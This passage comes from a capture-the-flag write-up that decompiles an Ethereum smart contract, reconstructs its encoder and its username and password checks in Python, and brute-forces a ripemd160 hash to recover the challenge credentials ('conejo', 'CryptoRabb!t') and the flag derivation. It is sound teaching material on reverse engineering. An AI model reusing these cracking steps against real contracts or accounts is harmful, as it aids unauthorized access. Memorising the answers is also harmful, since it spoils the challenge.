RETURN(temp37,(temp36 - temp37));
}
else
{
temp34 = mload(0x40);
RETURN(temp34,(var4 - temp34));
}
}
else
{
temp38 = mload((var9 + var10));
mstore((var8 + var10),temp38);
var10 = (var10 + 0x20);
goto label_00000174;
}
}
//ISSUE:COMMENT: Function FUNC_BC82DA50()
else if ((0xBC82DA50 == var0))
{
require(!msg.value);
mstore(0x40,(0x80 + (0x20 + (((0x1F + msg.data((0x4 + msg.data(0x4)))) / 0x20) * 0x20))));
mstore(0x80,msg.data((0x4 + msg.data(0x4))));
calldatacopy(0xA0,(0x20 + (0x4 + msg.data(0x4))),msg.data((0x4 + msg.data(0x4))));
var1 = FUNC_BC82DA50(0x80);
temp58 = mload(0x40);
mstore(temp58,var1);
temp59 = mload(0x40);
RETURN(temp59,((0x20 + temp58) - temp59));
}
//ISSUE:COMMENT: Function FUNC_BECA2E86()
else if ((0xBECA2E86 == var0))
{
require(!msg.value);
mstore(0x40,(0x80 + (0x20 + (((0x1F + msg.data((0x4 + msg.data(0x4)))) / 0x20) * 0x20))));
mstore(0x80,msg.data((0x4 + msg.data(0x4))));
calldatacopy(0xA0,(0x20 + (0x4 + msg.data(0x4))),msg.data((0x4 + msg.data(0x4))));
temp60 = mload(0x40);
mstore(0x40,(temp60 + (0x20 + (((0x1F + msg.data((0x4 + msg.data(0x24)))) / 0x20) * 0x20))));
mstore(temp60,msg.data((0x4 + msg.data(0x24))));
calldatacopy((0x20 + temp60),(0x20 + (0x4 + msg.data(0x24))),msg.data((0x4 + msg.data(0x24))));
FUNC_BECA2E86(0x80,temp60);
stop();
}
else
{
goto label_00000062;
}
}
}
}
This time we have 4 functions:
- FUNC_20D3DE34(arg0)
- FUNC_4F9BA357(arg0)
- FUNC_BC82DA50(arg0)
- FUNC_BECA2E86(arg0,arg1)
- main()
Analysis of function FUNC_4F9BA357(arg0)
function FUNC_4F9BA357( uint256 arg0) public return (var0,var1)
{
var2 = arg0;
temp27 = mload(arg0);
var4 = temp27;
var5 = 0x0;
label_000008A9:
if ((var4 < var5))
{
return(var0,var2);
}
else
{
var7 = var2;
var8 = var5;
temp28 = mload(var2);
assert((var5 < temp28));
temp29 = mload(((0x20 + var7) + var8));
var6 = BYTE(0x0,(0x100000000000000000000000000000000000000000000000000000000000000 * (temp29 / 0x100000000000000000000000000000000000000000000000000000000000000)));
if (((BYTE(0x0,(0x100000000000000000000000000000000000000000000000000000000000000 * (temp29 / 0x100000000000000000000000000000000000000000000000000000000000000))) > 0x6D) & (BYTE(0x0,(0x100000000000000000000000000000000000000000000000000000000000000 * (temp29 / 0x100000000000000000000000000000000000000000000000000000000000000))) < 0x7B)))
{
var6 = (0x60 - (0x7A - var6));
if ((var6 == 0x20))
{
goto label_00000943;
}
else
{
goto label_00000935;
}
}
else if ((var6 == 0x20))
{
var5 = (0x1 + var5);
goto label_000008A9;
}
else
{
label_00000935:
mstore8(((var2 + 0x20) + var5),(var6 + 0xD));
label_00000943:
var5 = (0x1 + var5);
goto label_000008A9;
}
}
}
def FUNC_4F9BA357(arg0):
enc = ""
for i in range(len(arg0))_
if ord(arg0[i]) > 0x6d and ord(arg0[i]) < 0x7b:
enc += 0x60 - (0x7a - ord(arg0[i])) + 0xd
else:
enc += ord(arg0[i]) + 0xd
return enc
Analysis of function FUNC_20D3DE34(arg0)
function FUNC_20D3DE34( uint256 arg0) public return (var0)
{
var2 = arg0;
temp0 = mload(arg0);
if ((temp0 == 0xC))
{
temp1 = mload(arg0);
assert((0x0 < temp1));
//ISSUE:LOW: Potential Integer Overflow or Underflow
temp2 = mload(((0x20 + arg0) + 0x0));
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp2 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x5000000000000000000000000000000000000000000000000000000000000000))
{
temp23 = mload(arg0);
assert((0x5 < temp23));
//ISSUE:LOW: Potential Integer Overflow or Underflow
temp24 = mload(((0x20 + arg0) + 0x5));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp24 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6200000000000000000000000000000000000000000000000000000000000000) == 0);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp24 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6200000000000000000000000000000000000000000000000000000000000000))
{
goto label_00000461;
}
else
{
goto label_00000504;
}
}
else if (var4)
{
if (var4)
{
if (var4)
{
if (var4)
{
label_0000065C:
var3 = 0x0;
goto label_00000894;
}
else
{
label_00000664:
var4 = 0xD1370B61645871575F791B55203FA702891DEA76000000000000000000000000;
var5 = 0x3;
var7 = mload(0x40);
var8 = var7;
temp4 = mload(var2);
var10 = temp4;
var11 = temp4;
var12 = var7;
var13 = (0x20 + var2);
label_00000698:
if ((var11 < 0x20))
{
temp5 = mload(var13);
temp6 = mload(var12);
mstore(var12,((temp5 & ~(EXP(0x100,(0x20 - var11)) - 0x1)) | (temp6 & (EXP(0x100,(0x20 - var11)) - 0x1))));
temp7 = (var10 + var8);
temp8 = mload(0x40);
var7 = var5.ripemd160(temp8,(temp7 - temp8),temp8,0x20);
var7 = (var7 == 0);
if (var7)
{
returndatacopy(0x0,0x0,returndatasize);
revert(0x0,returndatasize);
}
else
{
temp10 = mload(0x40);
temp11 = mload(temp10);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFF & (0x1000000000000000000000000 * temp11)) == var4))
{
var5 = var2;
temp12 = mload(var2);
assert((0xB < temp12));
temp13 = mload(((0x20 + var5) + 0xB));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp13 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6700000000000000000000000000000000000000000000000000000000000000) == 0);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp13 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6700000000000000000000000000000000000000000000000000000000000000))
{
var5 = var2;
temp14 = mload(var2);
assert((0x2 < temp14));
temp15 = mload(((0x20 + var5) + 0x2));
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp15 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6C00000000000000000000000000000000000000000000000000000000000000))
{
goto label_0000088F;
}
else
{
goto label_00000887;
}
}
else if (var4)
{
label_00000887:
var3 = 0x0;
goto label_00000894;
}
else
{
label_0000088F:
var3 = 0x1;
label_00000894:
return(var3);
}
}
else
{
var3 = 0x0;
goto label_00000894;
}
}
}
else
{
temp16 = mload(var13);
mstore(var12,temp16);
var12 = (var12 + 0x20);
var13 = (var13 + 0x20);
var11 = (var11 - 0x20);
goto label_00000698;
}
}
}
else
{
label_000005B3:
var5 = var2;
temp17 = mload(var2);
assert((0x4 < temp17));
temp18 = mload(((0x20 + var5) + 0x4));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp18 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6700000000000000000000000000000000000000000000000000000000000000) == 0);
label_00000656:
if (var4)
{
goto label_0000065C;
}
else
{
goto label_00000664;
}
}
}
else
{
label_0000050A:
var5 = var2;
temp19 = mload(var2);
assert((0x9 < temp19));
temp20 = mload(((0x20 + var5) + 0x9));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp20 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6F00000000000000000000000000000000000000000000000000000000000000) == 0);
label_000005AD:
if (var4)
{
goto label_00000656;
}
else
{
goto label_000005B3;
}
}
}
else
{
label_00000461:
var5 = var2;
temp21 = mload(var2);
assert((0xA < temp21));
temp22 = mload(((0x20 + var5) + 0xA));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp22 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x2E00000000000000000000000000000000000000000000000000000000000000) == 0);
label_00000504:
if (var4)
{
goto label_000005AD;
}
else
{
goto label_0000050A;
}
}
}
else
{
var3 = 0x0;
goto label_00000894;
}
}
def FUNC_20D3DE34:
if len(arg0) == 0xC
and ripemd160(arg0) == "D1370B61645871575F791B55203FA702891DEA76"
and ord(arg0[0x0]) == 0x50
and ord(arg0[0x5]) == 0x62
and ord(arg0[0xB]) == 0x67
and ord(arg0[0x2]) == 0x6C
and ord(arg0[0x4]) == 0x67
and ord(arg0[0x9]) == 0x6f
and ord(arg0[0xA]) == 0x2e:
return 1
else:
return 0
Analysis of function FUNC_BC82DA50(arg0)
function FUNC_BC82DA50( uint256 arg0) public return (var0)
{
var2 = arg0;
var3 = 0x0;
temp39 = mload(arg0);
if ((temp39 == 0x6))
{
temp40 = mload(arg0);
assert((0x0 < temp40));
//ISSUE:LOW: Potential Integer Overflow or Underflow
temp41 = mload(((0x20 + arg0) + 0x0));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp41 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x7000000000000000000000000000000000000000000000000000000000000000) == 0);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp41 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x7000000000000000000000000000000000000000000000000000000000000000))
{
temp56 = mload(arg0);
assert((0x4 < temp56));
//ISSUE:LOW: Potential Integer Overflow or Underflow
temp57 = mload(((0x20 + arg0) + 0x4));
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp57 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x7700000000000000000000000000000000000000000000000000000000000000))
{
goto label_00000ACA;
}
else
{
goto label_00000AC2;
}
}
else if (var4)
{
label_00000AC2:
var3 = 0x0;
goto label_00000CFF;
}
else
{
label_00000ACA:
var4 = 0x8AEC5860B1B9108D01BEC4FBBB1F9A109732C250EE81751E7EC96D90DC8F42D5;
var5 = 0x2;
var7 = mload(0x40);
var8 = var7;
temp43 = mload(var2);
var10 = temp43;
var11 = temp43;
var12 = var7;
var13 = (0x20 + var2);
label_00000AFE:
if ((var11 < 0x20))
{
temp44 = mload(var13);
temp45 = mload(var12);
mstore(var12,((temp44 & ~(EXP(0x100,(0x20 - var11)) - 0x1)) | (temp45 & (EXP(0x100,(0x20 - var11)) - 0x1))));
temp46 = (var10 + var8);
temp47 = mload(0x40);
var7 = var5.call(temp47,(temp46 - temp47),temp47,0x20);
var7 = (var7 == 0);
if (var7)
{
returndatacopy(0x0,0x0,returndatasize);
revert(0x0,returndatasize);
}
else
{
var5 = mload(0x40);
var6 = returndatasize;
require((0x20 < returndatasize));
temp50 = mload(var5);
if (((~0x0 & temp50) == var4))
{
var5 = var2;
temp51 = mload(var2);
assert((0x1 < temp51));
temp52 = mload(((0x20 + var5) + 0x1));
var4 = (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp52 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6200000000000000000000000000000000000000000000000000000000000000) == 0);
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp52 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x6200000000000000000000000000000000000000000000000000000000000000))
{
var5 = var2;
temp53 = mload(var2);
assert((0x3 < temp53));
temp54 = mload(((0x20 + var5) + 0x3));
if (((~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF & (0x100000000000000000000000000000000000000000000000000000000000000 * (temp54 / 0x100000000000000000000000000000000000000000000000000000000000000))) == 0x7200000000000000000000000000000000000000000000000000000000000000))
{
goto label_00000CFA;
}
else
{
goto label_00000CF2;
}
}
else if (var4)
{
label_00000CF2:
var3 = 0x0;
goto label_00000CFF;
}
else
{
label_00000CFA:
var3 = 0x1;
label_00000CFF:
return(var3);
}
}
else
{
var3 = 0x0;
goto label_00000CFF;
}
}
}
else
{
temp55 = mload(var13);
mstore(var12,temp55);
var12 = (var12 + 0x20);
var13 = (var13 + 0x20);
var11 = (var11 - 0x20);
goto label_00000AFE;
}
}
}
else
{
var3 = 0x0;
goto label_00000CFF;
}
}
def FUNC_BC82DA50:
if len(arg0) == 0x6
and ord(arg0[0x0]) == 0x70
and ord(arg0[0x4]) == 0x77
and ord(arg0[0x1]) == 0x62
and ord(arg0[0x3]) == 0x72:
return 1
else:
return 0
Analysis of the last function, FUNC_BECA2E86(arg0,arg1)
function FUNC_BECA2E86( uint256 arg0,uint256 arg1) public return ()
{
(var8,var9) = FUNC_4F9BA357(arg0);
var4 = var9;
(var8,var9) = FUNC_4F9BA357(arg1);
var5 = var9;
var9 = FUNC_BC82DA50(var9);
if (var9)
{
var9 = FUNC_20D3DE34(var5);
if (var9)
{
var10 = mload(0x40);
var11 = var10;
temp62 = mload(var4);
var13 = temp62;
var14 = temp62;
var15 = var10;
var16 = (0x20 + var4);
label_00000E2D:
if ((var14 < 0x20))
{
temp63 = mload(var16);
temp64 = mload(var15);
mstore(var15,((temp63 & ~(EXP(0x100,(0x20 - var14)) - 0x1)) | (temp64 & (EXP(0x100,(0x20 - var14)) - 0x1))));
temp65 = (var13 + var11);
temp66 = mload(0x40);
temp67 = keccak256(temp66,(temp65 - temp66));
var6 = temp67;
var10 = mload(0x40);
var11 = var10;
temp69 = mload(var5);
var13 = temp69;
var14 = temp69;
var15 = var10;
var16 = (0x20 + var5);
label_00000E92:
if ((var14 < 0x20))
{
temp70 = mload(var16);
temp71 = mload(var15);
mstore(var15,((temp70 & ~(EXP(0x100,(0x20 - var14)) - 0x1)) | (temp71 & (EXP(0x100,(0x20 - var14)) - 0x1))));
temp72 = (var13 + var11);
temp73 = mload(0x40);
temp74 = keccak256(temp73,(temp72 - temp73));
temp75 = mload(0x40);
mstore((0x20 + temp75),(~0x0 & (~0x0 & XOR(var6,temp74))));
mstore(temp75,((0x20 + (0x20 + temp75)) - temp75));
mstore((0x20 + (0x20 + temp75)),0x14);
mstore((0x20 + (0x20 + (0x20 + temp75))),0x596F75722070726976617465206B65792069733A000000000000000000000000);
temp76 = mload(0x40);
log(temp76,((0x20 + (0x20 + (0x20 + (0x20 + temp75)))) - temp76),0x894707896D302733A35C9D7A681B0B21457FA3EB9560949AE3033E6346D8582D);
return();
}
else
{
temp77 = mload(var16);
mstore(var15,temp77);
var15 = (var15 + 0x20);
var16 = (var16 + 0x20);
var14 = (var14 - 0x20);
goto label_00000E92;
}
}
else
{
temp78 = mload(var16);
mstore(var15,temp78);
var15 = (var15 + 0x20);
var16 = (var16 + 0x20);
var14 = (var14 - 0x20);
goto label_00000E2D;
}
}
else
{
temp79 = mload(0x40);
mstore(temp79,0x8C379A000000000000000000000000000000000000000000000000000000000);
mstore((0x4 + temp79),0x20);
mstore((0x20 + (0x4 + temp79)),0xC);
mstore((0x20 + (0x20 + (0x4 + temp79))),0x4261642050617373776F72640000000000000000000000000000000000000000);
temp80 = mload(0x40);
revert(temp80,((0x20 + (0x20 + (0x20 + (0x4 + temp79)))) - temp80));
}
}
else
{
temp81 = mload(0x40);
mstore(temp81,0x8C379A000000000000000000000000000000000000000000000000000000000);
mstore((0x4 + temp81),0x20);
mstore((0x20 + (0x4 + temp81)),0x8);
mstore((0x20 + (0x20 + (0x4 + temp81))),0x4261642055736572000000000000000000000000000000000000000000000000);
temp82 = mload(0x40);
revert(temp82,((0x20 + (0x20 + (0x20 + (0x4 + temp81)))) - temp82));
}
}
FUNC_4F9BA357 = encoder
FUNC_BC82DA50 = check_user
FUNC_20D3DE34 = check_pass
def encoder(arg0):
enc = ""
for i in range(len(arg0))_
if ord(arg0[i]) > 0x6d and ord(arg0[i]) < 0x7b:
enc += ord(arg0[i]) - 0xd
else:
enc += ord(arg0[i]) + 0xd
return enc
def check_pass(arg0):
if len(arg0) == 0xC
and ripemd160(arg0) == "D1370B61645871575F791B55203FA702891DEA76"
and ord(arg0[0x0]) == 0x50
and ord(arg0[0x5]) == 0x62
and ord(arg0[0xB]) == 0x67
and ord(arg0[0x2]) == 0x6C
and ord(arg0[0x4]) == 0x67
and ord(arg0[0x9]) == 0x6f
and ord(arg0[0xA]) == 0x2e:
return 1
else:
return 0
def check_user(arg0):
if len(arg0) == 0x6
and ord(arg0[0x0]) == 0x70
and ord(arg0[0x4]) == 0x77
and ord(arg0[0x1]) == 0x62
and ord(arg0[0x3]) == 0x72:
return 1
else:
return 0
def FUNC_BECA2E86(arg0,arg1):
arg0 = encoder(arg0)
arg1 = encoder(arg1)
if check_user(arg1):
if check_pass(arg0):
hash1 = keccak256(arg0)
hash2 = keccak256(arg1)
hash = xor(hash1,hash2)
**log("Your private key is:"+hash)**
else:
print "Bad Password"
else:
print "Bad User"
First, we will implement a decoder of the FUNC_4F9BA357 function:
def decoder(arg0):
enc = ""
for i in range(len(arg0))_
if ord(arg0[i]) > (0x6d-0xd) and ord(arg0[i]) < (0x7b-0xd):
enc += ord(arg0[i]) + 0xd
else:
enc += ord(arg0[i]) - 0xd
return enc
Now, reviewing functions check_user and check_flag, we can obtain several encoded characters:
- user = “pb_rw_”
- pass = “P_l_gb___o.g”
Using the decoder function, we obtain:
- user = “co_ej_”
- pass = “C_y_to___b!t
We can deduce that the user is “conejo”, and the password is something like:
- Cryptorabb!t
- Crypt0r4bb!t
- CryptoRabb!t
- …
We will use brute force with the ripemd160 hash to verify the password:
import hashlib
import string
import sys
t = sys.argv[1]
o = ""
for e in list(t):
if ord(e) > 0x6d:
o += chr(0x60-(0x7a-ord(e))+0xd)
else:
o+= chr(ord(e)+0xd)
h = hashlib.new('ripemd160')
h.update(o)
hs = h.hexdigest()
if hs == "d1370b61645871575f791b55203fa702891dea76":
print "match!"
else:
print "does not match.."
After testing some combinations, we find the correct one, “CryptoRabb!t”:
To obtain the flag:
hash1 = keccak256(encoder(user))
hash2 = keccak256(encoder(pass))
flag = flag{xor(hash1,hash2)}
Written on April 12, 2020